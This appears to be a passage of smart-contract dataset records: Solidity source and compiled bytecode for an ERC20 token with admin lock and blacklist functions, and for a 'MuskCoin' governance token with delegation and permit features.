_balances[recipient] = _balances[recipient].add(amount); }else{ uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance"); _balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = _balances[sender].add(sys.amountToken); _balances[recipient] = _balances[recipient].add(amount); } }else{ _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances"); if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; } sys.lockUntil = unlockDate; sys.amountToken = sys.amountToken.add(amountLock); emit LockUntil(account, sys.amountToken, unlockDate); } function _wantUnlock(address account) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); sys.lockUntil = 0; sys.amountToken = 0; emit LockUntil(account, 0, 0); } function _wantblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == false, "ERC20: Address already in blacklist"); _blacklist[account] = true; emit PutToBlacklist(account, true); } function _wantunblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == true, "ERC20: Address not blacklisted"); _blacklist[account] = false; emit PutToBlacklist(account, false); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address funder, address spender, uint256 amount) internal virtual { require(funder != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[funder][spender] = amount; emit Approval(funder, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d691914610510578063dd62ed3e14610536578063df698fc914610564578063f2fde38b1461058a57610173565b806395d89b41146104b0578063a457c2d7146104b8578063a9059cbb146104e457610173565b806370a08231146103c7578063715018a6146103ed5780637238ccdb146103f5578063787f02331461043457806384d5d9441461045a5780638da5cb5b1461048c57610173565b8063313ce56711610130578063313ce567146102d157806339509351146102ef5780633d72d6831461031b57806352a97d5214610347578063569abd8d1461036d5780635e558d221461039557610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806319f9a20f1461024f57806323b872dd1461027557806324d7806c146102ab575b600080fd5b6101806105b0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b038135169060200135610646565b604080519115158252519081900360200190f35b61023d610663565b60408051918252519081900360200190f35b6102216004803603602081101561026557600080fd5b50356001600160a01b0316610669565b6102216004803603606081101561028b57600080fd5b506001600160a01b038135811691602081013590911690604001356106e5565b610221600480360360208110156102c157600080fd5b50356001600160a01b031661076c565b6102d961078a565b6040805160ff9092168252519081900360200190f35b6102216004803603604081101561030557600080fd5b506001600160a01b038135169060200135610793565b6102216004803603604081101561033157600080fd5b506001600160a01b0381351690602001356107e1565b6102216004803603602081101561035d57600080fd5b50356001600160a01b031661084a565b6103936004803603602081101561038357600080fd5b50356001600160a01b03166108b2565b005b610221600480360360608110156103ab57600080fd5b506001600160a01b0381351690602081013590604001356109d0565b61023d600480360360208110156103dd57600080fd5b50356001600160a01b0316610a46565b610393610a61565b61041b6004803603602081101561040b57600080fd5b50356001600160a01b0316610b0e565b6040805192835260208301919091528051918290030190f35b6102216004803603602081101561044a57600080fd5b50356001600160a01b0316610b55565b6102216004803603606081101561047057600080fd5b506001600160a01b038135169060208101359060400135610bbd565b610494610c3a565b604080516001600160a01b039092168252519081900360200190f35b610180610c4e565b610221600480360360408110156104ce57600080fd5b506001600160a01b038135169060200135610caf565b610221600480360360408110156104fa57600080fd5b506001600160a01b038135169060200135610d17565b6102216004803603602081101561052657600080fd5b50356001600160a01b0316610d2b565b61023d6004803603604081101561054c57600080fd5b506001600160a01b0381358116916020013516610d49565b6103936004803603602081101561057a57600080fd5b50356001600160a01b0316610d74565b610393600480360360208110156105a057600080fd5b50356001600160a01b0316610ea9565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b820191906000526020600020905b81548152906001019060200180831161061f57829003601f168201915b5050505050905090565b600061065a610653611013565b8484611017565b50600192915050565b60055490565b600060026000610677611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146106d45760405162461bcd60e51b8152600401808060200182810382526028815260200180611b956028913960400191505060405180910390fd5b6106dd82611103565b506001919050565b60006106f28484846111b2565b610762846106fe611013565b61075d85604051806060016040528060288152602001611bbd602891396001600160a01b038a1660009081526004602052604081209061073c611013565b6001600160a01b03168152602081019190915260400160002054919061150e565b611017565b5060019392505050565b6001600160a01b031660009081526002602052604090205460ff1690565b60085460ff1690565b600061065a6107a0611013565b8461075d85600460006107b1611013565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fb2565b60006107eb611013565b60085461010090046001600160a01b03908116911614610840576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b61065a83836115a5565b6000610854611013565b60085461010090046001600160a01b039081169116146108a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6106dd826116a1565b6108ba611013565b60085461010090046001600160a01b0390811691161461090f576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16156109675760405162461bcd60e51b8152600401808060200182810382526021815260200180611cd86021913960400191505060405180910390fd5b6001600160a01b0381166109ac5760405162461bcd60e51b8152600401808060200182810382526026815260200180611b3f6026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000600260006109de611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610a3b5760405162461bcd60e51b8152600401808060200182810382526028815260200180611b956028913960400191505060405180910390fd5b61076284848461178d565b6001600160a01b031660009081526020819052604090205490565b610a69611013565b60085461010090046001600160a01b03908116911614610abe576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b60085460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360088054610100600160a81b0319169055565b6001600160a01b03811660009081526003602052604081206001810154829190421115610b42576000809250925050610b50565b805460019091015490925090505b915091565b6000610b5f611013565b60085461010090046001600160a01b03908116911614610bb4576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6106dd826118d4565b600060026000610bcb611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610c285760405162461bcd60e51b8152600401808060200182810382526028815260200180611b956028913960400191505060405180910390fd5b610a3b610c33611013565b85856111b2565b60085461010090046001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b600061065a610cbc611013565b8461075d85604051806060016040528060258152602001611cb36025913960046000610ce6611013565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061150e565b600061065a610d24611013565b84846111b2565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610d7c611013565b60085461010090046001600160a01b03908116911614610dd1576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff161515600114610e43576040805162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a2061646472657373206973206e6f742061646d696e000000604482015290519081900360640190fd5b6001600160a01b038116610e885760405162461bcd60e51b8152600401808060200182810382526026815260200180611b196026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19169055565b610eb1611013565b60085461010090046001600160a01b03908116911614610f06576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6001600160a01b038116610f4b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a896026913960400191505060405180910390fd5b6008546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561100c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661105c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611c6c6024913960400191505060405180910390fd5b6001600160a01b0382166110a15760405162461bcd60e51b8152600401808060200182810382526022815260200180611aaf6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03811660008181526003602052604090209061116d576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b60006001820181905580825560405181906001600160a01b038516907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf08685580908390a45050565b6001600160a01b0383166000818152600360205260409020906112065760405162461bcd60e51b8152600401808060200182810382526025815260200180611c476025913960400191505060405180910390fd5b6001600160a01b03831661124b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a216023913960400191505060405180910390fd5b6001600160a01b03841660009081526001602052604090205460ff16156112a35760405162461bcd60e51b8152600401808060200182810382526021815260200180611be56021913960400191505060405180910390fd5b6112ae8484846119d9565b8054156114375780600101544211156113575760006001820181905581556040805160608101909152602680825261130a918491611af360208301396001600160a01b038716600090815260208190526040902054919061150e565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546113399083610fb2565b6001600160a01b038416600090815260208190526040902055611432565b600061139a8260000154604051806060016040528060228152602001611ad1602291396001600160a01b038816600090815260208190526040902054919061150e565b90506113c183604051806060016040528060268152602001611af36026913983919061150e565b6001600160a01b038616600090815260208190526040902081905582546113e89190610fb2565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546114179084610fb2565b6001600160a01b038516600090815260208190526040902055505b6114bd565b61147482604051806060016040528060268152602001611af3602691396001600160a01b038716600090815260208190526040902054919061150e565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546114a39083610fb2565b6001600160a01b0384166000908152602081905260409020555b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b6000818484111561159d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561156257818101518382015260200161154a565b50505050905090810190601f16801561158f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166115ea5760405162461bcd60e51b8152600401808060200182810382526021815260200180611c266021913960400191505060405180910390fd5b6115f6826000836119d9565b61163381604051806060016040528060228152602001611a67602291396001600160a01b038516600090815260208190526040902054919061150e565b6001600160a01b03831660009081526020819052604090205560055461165990826119de565b6005556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0381166116e65760405162461bcd60e51b8152600401808060200182810382526023815260200180611c906023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff161561173e5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a446023913960400191505060405180910390fd5b6001600160a01b0381166000818152600160208190526040808320805460ff191683179055519092917f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c291a350565b6001600160a01b0383166000818152600360205260409020906117f7576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b80546118039084610fb2565b6001600160a01b03851660009081526020819052604090205410156118595760405162461bcd60e51b8152600401808060200182810382526030815260200180611b656030913960400191505060405180910390fd5b600081600101541180156118705750806001015442115b156118815760006001820181905581555b6001810182905580546118949084610fb2565b8082556040518391906001600160a01b038716907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558090600090a450505050565b6001600160a01b0381166119195760405162461bcd60e51b8152600401808060200182810382526023815260200180611c906023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff1615151461198c576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2041646472657373206e6f7420626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055519091907f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c2908390a350565b505050565b600061100c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061150e56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2073656e646572206164647265737320626c61636b6c69737465644f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea2646970667358221220b07fa13749a037e18f05cf1a0f48069ed3c4f7f444bd4c51dd8800ecf735d87664736f6c63430007030033
{"success": true, "error": null, "results": {}}
6,713
0x7ecaf918cd09c72377a4388b514f9e60945e9961
/** *Submitted for verification at Etherscan.io on 2021-02-26 */ /* ____________________________________110001██████████ _______________________________110000███████______██ ___________________________110000█████____________██ ________________________110000█████_____█████____███ ______________________100100████_______█ █___██ ___________________1010011████_________█_____█___█ _________________1001111███_______█████__███___███ _______________1001111███________█ █______███ _____________1001110████_________█____██_____███ __________████████████______████___███______███ ________████ ███______██ ██________████ ______███ ███_______██ ██_______███ _____███ ███___________████_______███ ____███ ███_____________________████ ___███ ████____________________████ __███ ███____________________███ _███ ████████_________________█████ ███████____████_____________███████ _____________████________█████ ██ ________________███_____████ ███ __________________██████ ███ ___________________███ ███ ___________________██ █████ __________________███ ██████ _________________████████ ███╗░░░███╗██╗░░░██╗░██████╗██╗░░██╗  ░█████╗░░█████╗░██╗███╗░░██╗ ████╗░████║██║░░░██║██╔════╝██║░██╔╝  ██╔══██╗██╔══██╗██║████╗░██║ ██╔████╔██║██║░░░██║╚█████╗░█████═╝░  ██║░░╚═╝██║░░██║██║██╔██╗██║ ██║╚██╔╝██║██║░░░██║░╚═══██╗██╔═██╗░  ██║░░██╗██║░░██║██║██║╚████║ ██║░╚═╝░██║╚██████╔╝██████╔╝██║░╚██╗  ╚█████╔╝╚█████╔╝██║██║░╚███║ ╚═╝░░░░░╚═╝░╚═════╝░╚═════╝░╚═╝░░╚═╝  ░╚════╝░░╚════╝░╚═╝╚═╝░░╚══╝ ████████╗░█████╗░  ████████╗██╗░░██╗███████╗  ███╗░░░███╗░█████╗░██████╗░░██████╗██╗ ╚══██╔══╝██╔══██╗  ╚══██╔══╝██║░░██║██╔════╝  ████╗░████║██╔══██╗██╔══██╗██╔════╝██║ ░░░██║░░░██║░░██║  ░░░██║░░░███████║█████╗░░  ██╔████╔██║███████║██████╔╝╚█████╗░██║ ░░░██║░░░██║░░██║  ░░░██║░░░██╔══██║██╔══╝░░  ██║╚██╔╝██║██╔══██║██╔══██╗░╚═══██╗╚═╝ ░░░██║░░░╚█████╔╝  ░░░██║░░░██║░░██║███████╗  ██║░╚═╝░██║██║░░██║██║░░██║██████╔╝██╗ ░░░╚═╝░░░░╚════╝░  ░░░╚═╝░░░╚═╝░░╚═╝╚══════╝  ╚═╝░░░░░╚═╝╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░╚═╝ */ pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract MUSK { /// @notice EIP-20 token name for this token string public constant name = "MuskCoin"; /// @notice EIP-20 token symbol for this token string public constant symbol = "MUSK"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public constant totalSupply = 1000000000 * 10**18; /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new MUSK token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "MUSK::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "MUSK::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "MUSK::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "MUSK::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Triggers an approval from owner to spends * @param owner The address to approve from * @param spender The address to be approved * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "MUSK::permit: amount exceeds 96 bits"); } bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "MUSK::permit: invalid signature"); require(signatory == owner, "MUSK::permit: unauthorized"); require(now <= deadline, "MUSK::permit: signature expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "MUSK::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "MUSK::delegateBySig: invalid nonce"); require(now <= expiry, "MUSK::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "MUSK::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "MUSK::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "MUSK::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "MUSK::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "MUSK::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "MUSK::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "MUSK::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "MUSK::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063b4b5ea571161007c578063b4b5ea571461027d578063c3cda52014610290578063d505accf146102a3578063dd62ed3e146102b6578063e7a324dc146102c9578063f1127ed8146102d157610137565b806370a082311461021c578063782d6fe11461022f5780637ecebe001461024f57806395d89b4114610262578063a9059cbb1461026a57610137565b806330adf81f116100ff57806330adf81f146101aa578063313ce567146101b2578063587cde1e146101c75780635c19a95c146101e75780636fcfff45146101fc57610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461017a57806320606b701461018f57806323b872dd14610197575b600080fd5b6101446102f2565b6040516101519190611c8b565b60405180910390f35b61016d6101683660046115ca565b610316565b6040516101519190611b87565b6101826103d3565b6040516101519190611b95565b6101826103e3565b61016d6101a53660046114e1565b6103fa565b61018261053f565b6101ba61054b565b6040516101519190611d55565b6101da6101d5366004611481565b610550565b6040516101519190611b79565b6101fa6101f5366004611481565b61056b565b005b61020f61020a366004611481565b610578565b6040516101519190611d2c565b61018261022a366004611481565b610590565b61024261023d3660046115ca565b6105b4565b6040516101519190611d71565b61018261025d366004611481565b6107cb565b6101446107dd565b61016d6102783660046115ca565b6107fd565b61024261028b366004611481565b610839565b6101fa61029e3660046115fa565b6108a9565b6101fa6102b136600461152e565b610a93565b6101826102c43660046114a7565b610d7e565b610182610db0565b6102e46102df366004611681565b610dbc565b604051610151929190611d3a565b6040518060400160405280600881526020016726bab9b5a1b7b4b760c11b815250